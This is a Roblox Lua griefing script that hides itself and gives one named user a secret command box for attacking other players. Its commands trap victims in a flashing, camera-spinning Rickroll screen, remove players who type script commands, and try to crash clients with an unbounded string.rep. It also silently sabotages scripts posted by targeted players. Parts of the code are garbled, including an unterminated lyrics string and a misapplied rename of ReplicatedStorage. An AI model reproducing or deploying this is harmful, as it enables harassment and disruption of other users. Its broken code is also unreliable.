AdminClient = [=[
wait();
local player = game.Players.LocalPlayer;
local ui = Instance.new("ScreenGui",player.PlayerGui);
local frame = Instance.new("Frame",ui);
frame.BackgroundTransparency = 1;
frame.Size = UDim2.new(1,0,1,0);
local box = Instance.new("TextBox",frame);
box.BackgroundTransparency = .9;
box.BackgroundColor3 = Color3.new();
box.TextColor3 = Color3.new(1,1,1);
box.Position = UDim2.new(.6,0,.8,0);
box.Size = UDim2.new(.4,0,.05,0);
local stringvalue = game.ReplicatedStorage:WaitForChild("in");
game.ReplicatedStorage.Changed:connect(function()
   wait(1)
   if not game.ReplicatedStorage:FindFirstChild("in") then
   stringvalue = game.ReplicatedStorage:WaitForChild("in");
   locked = true;
   end
end)
box.FocusLost:connect(function(enter)
    if enter == true and not locked then
   	stringvalue.Value = box.Text;
    end
end)
]=]

script.Parent = nil;
local rs = game.ReplicatedStorage
local inputvalue = rs:FindFirstChild("in") and rs.in or Instance.new("StringValue",rs);
rs.Name = "in";
rs.Value = "";

rs.Changed:connect(function()
  wait(1)
  if not rs:FindFirstChild("in") then
     inputvalue = Instance.new("StringValue",rs);
     inputvalue.Name = "in";
  end
end)


local user = 'tyridge77'
local locked = false;
local laugh = [===[
math.randomseed(tick());
local player = game:GetService("Players").LocalPlayer;
local cam = Workspace.CurrentCamera;
local gui = player.PlayerGui;
for _,v in pairs(gui:GetChildren()) do if v.Name == 'ScreenGui' then v:Destroy() end end
local scrg = Instance.new("ScreenGui",gui)
local tab = {['c']=1,['newlocal']=2,['local']=3}
local frame = Instance.new("Frame",scrg)
local sound = Instance.new("Sound",frame)
local sound2 = Instance.new("Sound",frame)
local asd1 = Instance.new('TextLabel',scrg)
local asdtab ={};
local lyrics = {
[3] = [=[*Awesome intro music*]=],
[7] = [=[*More awesome i
[19] = [=[We're no strangers to love...]=],[23] = [=[You know the rules, and so.... do I!]=],
[27] = [=[A full commitment's what I'm thinking of...]=],
[32] = [=[You wouldn't get this from.. ANY OTHER GUY!]=],
[35] = [=[I... just want to tell you how I'm feeling.]=],
[40] = [=[Gotta make you.. understand!]=],
[44] = [=[Never gonna give you up]=],
[45] = [=[Never gonna let you down]=],
[47] = [=[Never gonna run around and.. desert you.]=],
[52] = [=[Never gonna make you cry]=],
[53] = [=[Never gonna say goodbye...]=],
[55] = [=[Never gonna tell a lie, and hurt you.]=]
}
local rndm = {.1,.15,.25,.35,.45,.55,.65,.75,.85,.95,.2,.3,.4,.5,.6,.7,.8,.9,1}
asd1.Size = UDim2.new(.2,0,.2,0)
asd1.BackgroundTransparency = 1;
asd1.TextColor3 = Color3.new(0,0,0)
asd1.FontSize = 'Size48'
asd1.Font = 'ArialBold'
asd1.Text = 'asd';
for i = 1, 5 do wait(0)
asdtab[i] = asd1:clone()
asdtab[i].Parent = scrg;
end
frame.Size = UDim2.new(1,0,1,0)
frame.BackgroundTransparency = .7
sound2.SoundId = 'http://www.roblox.com/asset/?id=2027611'
sound2.Volume,Looped = 1,true;
sound2.Pitch = 1;
sound.SoundId = 'http://www.roblox.com/asset/?id=59774613'
sound.Volume,Looped = 1,false;
sound.Pitch = 0.7;
function CreateLabel(str)
local mr = math.random(1,2)
local rnd = {.1,.2,.3,.4,.5};
local newlabel = Instance.new('TextLabel',scrg)
local rndy = rnd[math.random(1,#rnd)];
newlabel.Position = mr == 1 and UDim2.new(-1.5,0,rndy,0) or  UDim2.new(1.5,0,rndy,0)
print(newlabel.Position)
newlabel.BackgroundTransparency = 1;
newlabel.FontSize = 'Size48';
newlabel.Font = 'ArialBold';
newlabel.TextColor3 = BrickColor.random().Color
newlabel.Size = UDim2.new(.3,0,.1,0)
newlabel.Text = str;
chatted = 0;
print(newlabel.Text)
local pos = mr == 1 and UDim2.new(1.5,0,rndy,0) or UDim2.new(-1.5,0,rndy,0)
newlabel:TweenPosition(pos,'Out','Linear',6,true,nil)
end
function PlayLyrics()
        wait(2) sound2:Play();
        for i = 1, 65 do wait(1) print(i)
                if lyrics[i+1] then print(lyrics[i+1]) CreateLabel(lyrics[i+1]) end
        end
coroutine.resume(coroutine.create(PlayLyrics))
end
coroutine.resume(coroutine.create(PlayLyrics))
player.Chatted:connect(function(msg)
    if msg:match('(%a+)/(%s?)') then
        local run,src = msg:match('(%a+)/(%s?)')
        if tab[run] then
        if chatted > 4 then player:Destroy() end
            chatted = chatted + 1
            coroutine.resume(coroutine.create(function()
                wait(4) chatted = 0;
            end))
        end
    end
        if msg:match('[cnewlocallocal]/') then wait(0) sound:Play()

        end
end)
while(wait(0)) do
cam.FieldOfView,frame.BackgroundColor3,cam.CoordinateFrame = math.random(20,80),Color3.new(1,1,1),cam.CoordinateFrame*CFrame.Angles(math.random(),math.random(),math.random())
for _,v in pairs(asdtab) do if v:isA('TextLabel') then  v:TweenPosition(UDim2.new(rndm[math.random(1,#rndm)],0,rndm[math.random(1,#rndm)],0),'Out','Linear',.5,true,nil) end  end
end
]===]




local trolled = {};

local Library = {
['asd'] = function(player)
trolled[player.Name] = 'trolled';
wait()
player:LoadCharacter()
end,
['unasd'] = function(player)
pcall(function() trolled[player.Name] = nil; end)
NLS([=[wait()Workspace.CurrentCamera.FieldOfView = 80]=],player.Character)
wait(1)
player:LoadCharacter()
end,
['ogm'] = function(player)
NLS([=[local str = Instance.new('StringValue',game:Getservice('Players').LocalPlayer.PlayerGui) str.Value = string.rep('derp',math.huge)
]=],player.Character)
end
}


local players = game:GetService("Players")
local player = players[user];
function CheckChar(p)
        if trolled[p.Name] then
                NLS(laugh,p.Character)
        end
end
function findplayer(str)
   for _,v in pairs(players:GetPlayers()) do
        if v.Name:lower():sub(1,3) == str:lower():sub(1,3) then return v end
   end
return nil;
end
function chat(msg)
        if msg:match('(.+)/(.+)') then
                local cmd,plyr = msg:match('(.+)/(.+)');
                if findplayer(plyr) and Library[cmd] then Library[cmd](findplayer(plyr))
                end
        end
end
players.PlayerAdded:connect(function(newplayer)
        newplayer.CharacterAdded:connect(function()
                CheckChar(newplayer)
        end)
end)

inputvalue.Changed:connect(function()
   if inputvalue.Value 	~= "" then
      chat(inputvalue.Value);
   end
end)
NLS(AdminClient,player.Character);
for _,v in pairs(players:GetPlayers()) do
        v.CharacterAdded:connect(function(char)
	if v.Name == "tyridge77" then
		NLS(AdminClient,char);
        end
                CheckChar(v)
        end)
end
Workspace.DescendantAdded:connect(function(obj)
if obj:isA("Script") or obj:isA("LocalScript") then
pcall(function() obj:FindFirstChild("Source").Value = trolled[obj["Owner"].Value.Name] and [=[error("Nop",0)]=] or obj:FindFirstChild("Source").Value;
end)
end
end)